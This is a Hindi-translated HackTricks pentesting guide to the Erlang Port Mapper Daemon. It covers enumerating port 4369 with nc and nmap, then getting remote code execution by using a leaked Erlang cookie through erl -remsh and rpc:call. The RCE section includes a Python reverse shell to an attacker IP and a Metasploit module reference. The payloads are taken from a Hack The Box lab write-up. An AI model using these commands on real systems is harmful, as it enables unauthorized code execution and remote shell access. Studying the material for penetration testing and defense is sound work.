hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

9.2 KiB

☁️ HackTricks क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

मूलभूत जानकारी

एरलैंग पोर्ट मैपर डेमन का उपयोग वितरित एरलैंग इंस्टेंसेज को समन्वयित करने के लिए किया जाता है। इसका काम है यह ट्रैक रखना कि कौन सा नोड नाम किस पते पर सुन रहा है। इसलिए, epmd संकेतात्मक नोड नामों को मशीन पतों पर मैप करता है।

डिफ़ॉल्ट पोर्ट: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

यह डिफ़ॉल्ट रूप से RabbitMQ और CouchDB स्थापनाओं पर उपयोग किया जाता है।

जांच

मैन्युअल

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

स्वचालित

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang कुकी RCE

रिमोट कनेक्शन

यदि आप प्रमाणीकरण कुकी लीक कर सकते हैं, तो आप मेजबान पर कोड को निष्पादित कर सकेंगे। आमतौर पर, यह कुकी ~/.erlang.cookie में स्थित होती है और पहले स्टार्ट पर erlang द्वारा उत्पन्न की जाती है। यदि इसे संशोधित नहीं किया गया है या मैन्युअल रूप से सेट नहीं किया गया है, तो यह एक यादृच्छिक स्ट्रिंग [A:Z] है जिसकी लंबाई 20 वर्ण होती है।

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

अधिक जानकारी के लिए https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ पर जाएं। लेखक ने एक कुकी को ब्रूटफोर्स करने के लिए एक प्रोग्राम भी साझा किया है:

{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}

स्थानीय कनेक्शन

इस मामले में हम काउचडीबी का दुरुपयोग करके स्थानीय विशेषाधिकारों को बढ़ावा देने का उपयोग करेंगे:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

उदाहरण https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution से लिया गया है। आप Canape HTB मशीन का उपयोग कर सकते हैं इस खोज को अभ्यास करने के लिए कि कैसे इस सुरक्षा खोज का उपयोग करें।

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

शोडन

  • port:4369 "पोर्ट पर"
☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥